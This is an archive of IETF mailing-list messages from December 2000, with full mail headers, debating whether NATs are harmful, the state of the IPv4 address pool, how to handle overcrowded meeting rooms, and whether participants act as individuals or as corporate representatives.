<14905.8823.508905.120939@localhost.localdomain> Date: Thu, 14 Dec 2000 18:22:09 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > I see we're about to embark on the 7th iteration of the NAT mail wars. > I don't believe anything new is going to come out of it. I wish I were so optimistic to think that nothing new would come of NATs...unfortunately, the NAT group keeps inventing more cruft. Keith From owner-ietf-outbound Thu Dec 14 19:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA26810 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 19:10:02 -0500 (EST) Received: from mage.qualcomm.com (mage.qualcomm.com [129.46.65.64]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA21105 for ; Thu, 14 Dec 2000 18:52:10 -0500 (EST) Received: from [199.106.117.178] (vpnap-g1-012044.qualcomm.com [10.13.12.44]) by mage.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id PAA14937 for ; Thu, 14 Dec 2000 15:51:58 -0800 (PST) Mime-Version: 1.0 X-Sender: jwn2@mage.qualcomm.com Message-Id: X-Mailer: Eudora [Macintosh version 5.1-121400] X-PGP-RSA-Fingerprint: EA53 01A6 C076 F9C2 09E8 9480 645A 8857 X-PGP-DH-Fingerprint: 4F5E 56C9 BD4D 0227 331F 6AEE 9590 24F9 6FD7 04F8 Date: Thu, 14 Dec 2000 15:34:38 -0800 To: ietf@ietf.org From: John W Noerenberg II Subject: What is the IETF? -- A note of caution Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org As a representative of of one of the co-hosts for this meeting, I am equally gratified and terrorized to have the distinction hosting the largest IETF meeting to date (I fully expect this meeting to be surpassed soon). Fred's summary of the diversity of the IETF was truly impressive. But in retrospect, one thing he said bothered me greatly. He mentioned there were representatives of some five hundred different organizations at this meeting. That too is impressive. But it's that word "representative" I find disquieting. We are here not as corporate representatives, but as individuals committed to building the best Internet we can. Becoming part of a working group means you leave your company badge at the door. As the Internet has become more and more a commercial place, and the setting for business and commerce, the pressure to bend the way the Internet works to one's particular advantage at the expense of others increases. This is not part of our heritage. It is not part of our Tao. We come together because the Internet belongs to no one country, or organization. Rather it exists for all. We can look forward to a Net which not only spans the Earth, but gives every person in every country, the opportunity and the means to learn from any other regardless of their home, their beliefs or their physical capabilities. It is a wonderful thing. And we must remember it is our responsibility to preserve and enhance it for those who will come after. -- john noerenberg jwn2@qualcomm.com ---------------------------------------------------------------------- If we admire the Net, should not a burden of proof fall on those who would change the basic assumptions that brought it about in the first place? -- David Brin, "The Transparent Society", 1998 ---------------------------------------------------------------------- From owner-ietf-outbound Thu Dec 14 19:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA29147 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 19:20:04 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23655 for ; Thu, 14 Dec 2000 18:59:45 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id PAA08596 for ; Thu, 14 Dec 2000 15:59:22 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACF03582; Thu, 14 Dec 2000 15:59:13 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14905.24219.694732.170219@localhost.localdomain> Date: Thu, 14 Dec 2000 15:58:19 -0800 To: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> References: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Given that the overcrowding at this IETF was the worst ever, and really interfered with work, not to mention the social event ... Building on a previous suggestion: * When you register for the IETF, you specify which WGs you are interested in in priority order. * Simultaneously WG Chairs submit lists of people who are active. This includes chairs for new WGs and BOFs. * The agenda and room assignments coalesce based in part on expected attendance -- this probably continues to require hand-crafting. * Software magically takes registrant WG preferences and fills rooms, giving priority to those who have been active (purely according to WG chairs). Once a room is full no one is added. OK, this is the cruddiest part, but leave the details for now. * People receive mail saying which WGs they have been granted access to. They can apply for more, but they probably won't get in, which means there is a strong incentive to have specific reasons why they want to go to the IETF when they register in the first place. * When they come to the IETF their packets contain not only a receipt (the point being that the packets are already individualized) but an authenticated (anything, a little ink stamp, even) schedule, which they have to show at the meeting room door to get in the room. * "Standby" entry is allowed if there are seats not taken 5 minutes before the meeting starts. Details can be explored based on what you think of this in principle. ...Scott From owner-ietf-outbound Thu Dec 14 19:50:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA08476 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 19:50:02 -0500 (EST) Received: from tlnmail1.toplayer.com (mail.toplayer.com [216.90.225.97]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA06854 for ; Thu, 14 Dec 2000 19:44:58 -0500 (EST) Received: from toplayer.com (SOLENSKY-LPT [10.100.1.14]) by tlnmail1.toplayer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YYBQX4AC; Thu, 14 Dec 2000 19:44:28 -0500 Message-ID: <3A396BDA.EF11D381@toplayer.com> Date: Thu, 14 Dec 2000 19:54:50 -0500 From: Frank Solensky Organization: Top Layer Networks, Inc X-Mailer: Mozilla 4.74 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Tony Dal Santo CC: Dennis Glatting , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Tony Dal Santo wrote: > > What exactly is the state of the IPv4 "address pool"? Hilarie Orman, Scott Marcus and I will be working together over the next few weeks to get a more up-to-date view of the world. As soon as we get something together, we'll announce it to the list. -- Frank From owner-ietf-outbound Thu Dec 14 20:00:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA11512 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:00:02 -0500 (EST) Received: from roam.psg.com (ietf.207.137.72.160.tx.verio.net [207.137.72.160]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA07359 for ; Thu, 14 Dec 2000 19:46:34 -0500 (EST) Received: from randy by roam.psg.com with local (Exim 3.12 #1) id 146j1D-00014F-00; Thu, 14 Dec 2000 16:46:39 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: John W Noerenberg II Cc: ietf@ietf.org Subject: Re: Terminal room lost and found References: Message-Id: Date: Thu, 14 Dec 2000 16:46:39 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit small two button usb mouse and sony usb cable in black bag? actually left in plenary last night? randy From owner-ietf-outbound Thu Dec 14 20:10:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA14269 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:10:03 -0500 (EST) Received: from panther.cs.ucla.edu (Panther.CS.UCLA.EDU [131.179.128.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA10678 for ; Thu, 14 Dec 2000 19:57:25 -0500 (EST) Received: from localhost (sunshine@localhost) by panther.cs.ucla.edu (8.9.1/UCLACS-5.0) with ESMTP id QAA16280; Thu, 14 Dec 2000 16:57:08 -0800 (PST) Date: Thu, 14 Dec 2000 16:57:08 -0800 (PST) From: Jelena Mirkovic To: Scott Brim cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <14905.24219.694732.170219@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org >* Software magically takes registrant WG preferences and fills rooms, > giving priority to those who have been active (purely according to WG > chairs). Once a room is full no one is added. OK, this is the > cruddiest part, but leave the details for now. Errrr....so some people get cut off even during registration process??? What does it mean active? How about newcomers? Would it not be a nice idea to simply find a hotel with enough number of big rooms so that everyone who wants can fit in? At least at registration time? And then you can have stand-by for people that did not register but suddenly decided they would like to attend some sessions. Jelena From owner-ietf-outbound Thu Dec 14 20:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA17619 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:20:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA11317 for ; Thu, 14 Dec 2000 19:59:28 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id QAA50824; Thu, 14 Dec 2000 16:55:42 -0800 Received: from hursley.ibm.com (gsine01.us.sine.ibm.com [9.14.6.41]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id QAA20642; Thu, 14 Dec 2000 16:58:56 -0800 Message-ID: <3A396C4D.72A654E6@hursley.ibm.com> Date: Thu, 14 Dec 2000 18:56:45 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: Frank Solensky CC: Tony Dal Santo , Dennis Glatting , Sean Doran , ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <3A396BDA.EF11D381@toplayer.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Frank, This is goodness. Can I ask that you publish the *method* before you publish any results? I have seen various attempts to tackle this in the past, and they have all given results that are very hard to interpret and whose meaning depends very much on the method used. I think we could react to the numbers more rationally if we discussed the method first. Thanks anyway Brian Frank Solensky wrote: > > Tony Dal Santo wrote: > > > > What exactly is the state of the IPv4 "address pool"? > > Hilarie Orman, Scott Marcus and I will be working together over the next > few weeks to get a more up-to-date view of the world. As soon as we get > something together, we'll announce it to the list. > -- Frank From owner-ietf-outbound Thu Dec 14 20:30:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA19918 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:30:02 -0500 (EST) Received: from tankgirl.kurtis.pp.se (tankgirl.kurtis.pp.se [195.43.225.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA12287 for ; Thu, 14 Dec 2000 20:02:21 -0500 (EST) Received: from localhost (kurtis@localhost) by tankgirl.kurtis.pp.se (8.9.1/8.9.1) with ESMTP id BAA23520; Fri, 15 Dec 2000 01:27:38 +0100 Date: Fri, 15 Dec 2000 01:27:38 +0100 (CET) From: Kurt Erik Lindqvist To: Scott Brim cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <14905.24219.694732.170219@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org I think this is a really, really, really bad idea. This is my first IETF. I had read all the drafts of what interested me before going here. I thought that was enough. Boy was I wrong. I am now also subscribed to the mailiglists... However, I have been to several of the other gatherings of the same people (mostly RIPE) and I thought I was somewhat prepeared for what this woudl be like. I wasn't. This was unlike anything I have seen so far. I have learnt alot and I have really enjoyed following the discussions and meeting the people. This was my first IETF but hopefully not the last. I have learnt some of how the IETF works. I will be following the mailinglist discussions, and maybe I can contribute something. Maybe I oneday in the future can contribute something at a meeting. I hope so. I don't think that this "awakening" should be limited to people that have been active on mailinglists. It's not the same thing, and it will "scare" people off. I really hope that instead the logistical problems can be overcome. - kurtis - On Thu, 14 Dec 2000, Scott Brim wrote: > Given that the overcrowding at this IETF was the worst ever, and really > interfered with work, not to mention the social event ... > > Building on a previous suggestion: > > * When you register for the IETF, you specify which WGs you are > interested in in priority order. > > * Simultaneously WG Chairs submit lists of people who are active. This > includes chairs for new WGs and BOFs. > > * The agenda and room assignments coalesce based in part on expected > attendance -- this probably continues to require hand-crafting. > > * Software magically takes registrant WG preferences and fills rooms, > giving priority to those who have been active (purely according to WG > chairs). Once a room is full no one is added. OK, this is the > cruddiest part, but leave the details for now. > > * People receive mail saying which WGs they have been granted access to. > They can apply for more, but they probably won't get in, which means > there is a strong incentive to have specific reasons why they want to > go to the IETF when they register in the first place. > > * When they come to the IETF their packets contain not only a receipt > (the point being that the packets are already individualized) but an > authenticated (anything, a little ink stamp, even) schedule, which > they have to show at the meeting room door to get in the room. > > * "Standby" entry is allowed if there are seats not taken 5 minutes > before the meeting starts. > > > Details can be explored based on what you think of this in principle. > > ...Scott > From owner-ietf-outbound Thu Dec 14 20:40:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA22264 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:40:03 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA12430 for ; Thu, 14 Dec 2000 20:02:44 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id RAA20643; Thu, 14 Dec 2000 17:02:22 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACH00034; Thu, 14 Dec 2000 17:02:14 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14905.28000.686022.439741@localhost.localdomain> Date: Thu, 14 Dec 2000 17:01:20 -0800 To: Jelena Mirkovic Cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: References: <14905.24219.694732.170219@localhost.localdomain> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit (Continuing this for its value in exploring the issues ...) On 14 Dec 2000 at 16:57 -0800, Jelena Mirkovic apparently wrote: > >* Software magically takes registrant WG preferences and fills rooms, > > giving priority to those who have been active (purely according to WG > > chairs). Once a room is full no one is added. OK, this is the > > cruddiest part, but leave the details for now. > Errrr....so some people get cut off even during registration process??? > What does it mean active? How about newcomers? How about newcomers? IETF activity takes place primarily on mailing lists. IETF meetings are to resolve issues and reach closure. If you're not active, why are you coming? > Would it not be a nice idea to simply find a hotel with enough number > of big rooms so that everyone who wants can fit in? At least at > registration time? And then you can have stand-by for people that did not > register but suddenly decided they would like to attend some sessions. Yes of course. Our capacity needs are going beyond the capability of most meeting sites. ...Scott From owner-ietf-outbound Thu Dec 14 20:50:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA25438 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 20:50:03 -0500 (EST) Received: from tlnmail1.toplayer.com (mail.toplayer.com [216.90.225.97]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA12544 for ; Thu, 14 Dec 2000 20:03:05 -0500 (EST) Received: from toplayer.com (SOLENSKY-LPT [10.100.1.14]) by tlnmail1.toplayer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YYBQX4BM; Thu, 14 Dec 2000 20:02:35 -0500 Message-ID: <3A397019.FEB6473C@toplayer.com> Date: Thu, 14 Dec 2000 20:12:57 -0500 From: Frank Solensky Organization: Top Layer Networks, Inc X-Mailer: Mozilla 4.74 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Tony Dal Santo , Dennis Glatting , Sean Doran , ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <3A396BDA.EF11D381@toplayer.com> <3A396C4D.72A654E6@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Brian E Carpenter wrote: > > Frank, > > This is goodness. Can I ask that you publish the *method* before > you publish any results? I have seen various attempts to > tackle this in the past, and they have all given results that > are very hard to interpret and whose meaning depends very much > on the method used. I think we could react to the numbers more > rationally if we discussed the method first. Sure thing. Would it make sense to spin this off as a separate list? From owner-ietf-outbound Thu Dec 14 21:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA29788 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 21:00:03 -0500 (EST) Received: from dfw-smtpout1.email.verio.net (dfw-smtpout1.email.verio.net [129.250.36.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA13209 for ; Thu, 14 Dec 2000 20:05:19 -0500 (EST) Received: from [129.250.38.64] (helo=dfw-mmp4.email.verio.net) by dfw-smtpout1.email.verio.net with esmtp id 146jJH-0000OX-00 for ietf@ietf.org; Fri, 15 Dec 2000 01:05:19 +0000 Received: from [161.58.1.88] (helo=shell2) by dfw-mmp4.email.verio.net with esmtp id 146jJH-0002RK-00 for ietf@ietf.org; Fri, 15 Dec 2000 01:05:19 +0000 Date: Thu, 14 Dec 2000 20:05:18 -0500 (EST) From: "David W. Morris" X-Sender: cc: Subject: Re: NATs *ARE* evil! In-Reply-To: <4.3.2.7.2.20001215092234.00b6db10@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 15 Dec 2000, Geoff Huston wrote: > > The rate of growth in the table and the prefix length distribution > in the table both point to the growth of small prefixes (/24) > as a major factor in the growth of the routing table. > > There are strong indications that NAT is one factor behind this > part of the BGP table. I believe that would be missinterpretation of the data. Operationally, there is strong pressure on ISPs to allocate few addresses to individual customers and I suspect that this philosophy moves upward in the address space allocation philosophy. Because the allocations occur in smaller chunks (to manage supply), there is less opportunity to aggregate larger blocks of addresses leading to the observation re small prefixes. NAT reduces the number of discrete IPs needed for an Internet connected site. It allows the restricted allocation philosophy, it doesn't cause it. Dave Morris From owner-ietf-outbound Thu Dec 14 21:10:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA03476 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 21:10:04 -0500 (EST) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA13598 for ; Thu, 14 Dec 2000 20:06:58 -0500 (EST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id TAA11429; Thu, 14 Dec 2000 19:06:58 -0600 (CST) Message-Id: <200012150106.TAA11429@gungnir.fnal.gov> To: John W Noerenberg II Cc: ietf@ietf.org From: "Matt Crawford" Subject: Re: What is the IETF? -- A note of caution In-reply-to: Your message of Thu, 14 Dec 2000 15:34:38 PST. Date: Thu, 14 Dec 2000 19:06:57 -0600 Sender: crawdad@gungnir.fnal.gov X-Loop: ietf@ietf.org > But in retrospect, one thing he said bothered me greatly. He > mentioned there were representatives of some five hundred different > organizations at this meeting. That too is impressive. But it's > that word "representative" I find disquieting. > > We are here not as corporate representatives, but as individuals He also introduced the ADs as " from " after the IAB had been introduced solely by name. Throw the bum out! :-) From owner-ietf-outbound Thu Dec 14 21:40:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA14950 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 21:40:03 -0500 (EST) Received: from tankgirl.kurtis.pp.se (tankgirl.kurtis.pp.se [195.43.225.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA18236 for ; Thu, 14 Dec 2000 20:22:32 -0500 (EST) Received: from localhost (kurtis@localhost) by tankgirl.kurtis.pp.se (8.9.1/8.9.1) with ESMTP id BAA23629; Fri, 15 Dec 2000 01:47:50 +0100 Date: Fri, 15 Dec 2000 01:47:50 +0100 (CET) From: Kurt Erik Lindqvist To: Scott Brim cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <14905.24219.694732.170219@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org I think this is a really, really, really bad idea. This is my first IETF. I had read all the drafts of what interested me before going here. I thought that was enough. Boy was I wrong. I am now also subscribed to the mailiglists... However, I have been to several of the other gatherings of the same people (mostly RIPE) and I thought I was somewhat prepeared for what this woudl be like. I wasn't. This was unlike anything I have seen so far. I have learnt alot and I have really enjoyed following the discussions and meeting the people. This was my first IETF but hopefully not the last. I have learnt some of how the IETF works. I will be following the mailinglist discussions, and maybe I can contribute something. Maybe I oneday in the future can contribute something at a meeting. I hope so. I don't think that this "awakening" should be limited to people that have been active on mailinglists. It's not the same thing, and it will "scare" people off. I really hope that instead the logistical problems can be overcome. - kurtis - On Thu, 14 Dec 2000, Scott Brim wrote: > Given that the overcrowding at this IETF was the worst ever, and really > interfered with work, not to mention the social event ... > > Building on a previous suggestion: > > * When you register for the IETF, you specify which WGs you are > interested in in priority order. > > * Simultaneously WG Chairs submit lists of people who are active. This > includes chairs for new WGs and BOFs. > > * The agenda and room assignments coalesce based in part on expected > attendance -- this probably continues to require hand-crafting. > > * Software magically takes registrant WG preferences and fills rooms, > giving priority to those who have been active (purely according to WG > chairs). Once a room is full no one is added. OK, this is the > cruddiest part, but leave the details for now. > > * People receive mail saying which WGs they have been granted access to. > They can apply for more, but they probably won't get in, which means > there is a strong incentive to have specific reasons why they want to > go to the IETF when they register in the first place. > > * When they come to the IETF their packets contain not only a receipt > (the point being that the packets are already individualized) but an > authenticated (anything, a little ink stamp, even) schedule, which > they have to show at the meeting room door to get in the room. > > * "Standby" entry is allowed if there are seats not taken 5 minutes > before the meeting starts. > > > Details can be explored based on what you think of this in principle. > > ...Scott > From owner-ietf-outbound Thu Dec 14 21:50:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA18532 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 21:50:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA20231 for ; Thu, 14 Dec 2000 20:31:19 -0500 (EST) Received: from dcrocker.dcrocker.net (ietf.207.137.73.29.tx.verio.net [207.137.73.29]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id RAA12658; Thu, 14 Dec 2000 17:31:18 -0800 Message-Id: <5.0.1.4.2.20001214172853.0340aec0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Thu, 14 Dec 2000 17:31:19 -0800 To: "Scott Brim" From: Dave Crocker Subject: Re: Congestion control Cc: ietf@ietf.org In-Reply-To: <14905.24219.694732.170219@localhost.localdomain> References: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 03:58 PM 12/14/00 -0800, Scott Brim wrote: >Building on a previous suggestion: Just to be clear, my suggestion is diametrically opposed to the list that you specified. You are suggesting very tight queue management. By the mid-70's, Kleinrock showed that these mechanisms do not work in the face of sustained overload. They only work when the problem is transient. Rather than trying to manage the congestion, I am suggesting that we throw money at the problem, to overbuy space so that we don't have the problem. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 14 22:00:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA22140 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 22:00:04 -0500 (EST) Received: from twin.uoregon.edu (IDENT:root@twin.uoregon.edu [128.223.214.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA20624 for ; Thu, 14 Dec 2000 20:32:59 -0500 (EST) Received: from localhost (joelja@localhost) by twin.uoregon.edu (8.11.0/8.11.0) with ESMTP id eBF1rw327226; Thu, 14 Dec 2000 17:53:58 -0800 X-Authentication-Warning: twin.uoregon.edu: joelja owned process doing -bs Date: Thu, 14 Dec 2000 17:53:58 -0800 (PST) From: Joel Jaeggli X-Sender: To: Randy Bush cc: John W Noerenberg II , Subject: Re: Terminal room lost and found In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org yeah... joelja On Thu, 14 Dec 2000, Randy Bush wrote: > small two button usb mouse and sony usb cable in black bag? > > actually left in plenary last night? > > randy > -- -------------------------------------------------------------------------- Joel Jaeggli joelja@darkwing.uoregon.edu Academic User Services consult@gladstone.uoregon.edu PGP Key Fingerprint: 1DE9 8FCA 51FB 4195 B42A 9C32 A30D 121E -------------------------------------------------------------------------- It is clear that the arm of criticism cannot replace the criticism of arms. Karl Marx -- Introduction to the critique of Hegel's Philosophy of the right, 1843. From owner-ietf-outbound Thu Dec 14 22:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA25325 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 22:10:03 -0500 (EST) Received: from beatles.cselt.it (beatles.cselt.it [163.162.29.125]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21597 for ; Thu, 14 Dec 2000 20:37:04 -0500 (EST) Received: (from mau@localhost) by beatles.cselt.it (8.9.3/8.9.3) id CAA26261 for ietf@ietf.org; Fri, 15 Dec 2000 02:36:48 +0100 (MET) Date: Fri, 15 Dec 2000 02:36:48 +0100 From: Maurizio Codogno To: ietf@ietf.org Subject: Re: Congestion control Message-ID: <20001215023648.A25884@beatles.cselt.it> References: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net>; from Dave Crocker on Thu, Dec 14, 2000 at 02:36:18PM -0800 X-Loop: ietf@ietf.org On Thu, Dec 14, 2000 at 02:36:18PM -0800, Dave Crocker wrote: > For an industry that has been predicated on queuing theory that permits > managing data traffic through moments of transient congestion, the idea > that the best way to achieve Quality of Service is simply to throw excess > bandwidth at the problem is quaint. > > On the other hand, that simplistic congestion control approach has some > appeal for planning IETF meeting capacity. > > Rather than trying to carefully provide "enough" meeting room capacity for > expected attendance, what would be the effect of reserving *too much* > capacity for our meetings? there are other solutions, of course. Besides an "admission examination" for attendants, "right" choice of the venue may cut attendance. Think at how many people would have come to Minneapolis in December. (On the downside, those people would have not gone outside the hotel, so congestion could have been even worse) My personal experience shows that BOFs are the most overcrowded meetings: I don't know whether this is the result of a biased estimation (nobody knows in advance who will participate to a BOF, since there is no official group), but I also believe that people stay there just to see what happens, and this is much easier than to attend a regular WG meeting, where people talk about actual drafts (ok, *some* people talk, but the idea is this one). Maybe a "preparatory mailing list" one month before the meeting may help to tell the bona fide participants, and allow to give them a "premium pass" ... ciao ,.mau. From owner-ietf-outbound Thu Dec 14 22:20:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA27607 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 22:20:03 -0500 (EST) Received: from uicsgtw.cs.ui.ac.id (uicsgtw.extern.ui.ac.id [203.130.234.115]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA22786 for ; Thu, 14 Dec 2000 20:41:38 -0500 (EST) Received: from caplin.cs.ui.ac.id (caplin.cs.ui.ac.id [152.118.36.9]) by uicsgtw.cs.ui.ac.id (8.9.3/8.9.3/Debian/GNU) with ESMTP id IAA16162; Fri, 15 Dec 2000 08:41:17 +0700 Received: from rmsbase.vlsm.org (IDENT:root@rmsbase.acad.cs.ui.ac.id [152.118.26.15]) by caplin.cs.ui.ac.id (8.9.3/8.9.3) with ESMTP id IAA07463; Fri, 15 Dec 2000 08:46:35 +0700 (JAVT) Received: from vlsm.org (IDENT:rms46@rmsbase.vlsm.org [152.118.26.15]) by rmsbase.vlsm.org (8.9.3/8.8.7) with ESMTP id IAA00822; Fri, 15 Dec 2000 08:42:51 +0700 Sender: rms46@VLSM.ORG Message-ID: <3A39771B.992469EE@vlsm.org> Date: Fri, 15 Dec 2000 08:42:51 +0700 From: "Rahmat M. Samik-Ibrahim" Organization: VLSM-TJT X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: John W Noerenberg II CC: ietf@ietf.org, MILIS POISED Subject: Re: What is the IETF? -- A note of caution References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Hello: (I copy this to the poisson list, since I am somehow blocked from the IETF list). I am fully understand what your concern is. But, - what should those "corporate representative" do? - where should they go? best regards, -- Rahmat M. Samik-Ibrahim - VLSM-TJT - http://rms46.vlsm.org --- the father of internet (al gore) for IAB -- NOMCOM2000 John W Noerenberg II wrote: > As a representative of of one of the co-hosts for this meeting, I am > equally gratified and terrorized to have the distinction hosting the > largest IETF meeting to date (I fully expect this meeting to be > surpassed soon). Fred's summary of the diversity of the IETF was > truly impressive. > > But in retrospect, one thing he said bothered me greatly. He > mentioned there were representatives of some five hundred different > organizations at this meeting. That too is impressive. But it's > that word "representative" I find disquieting. 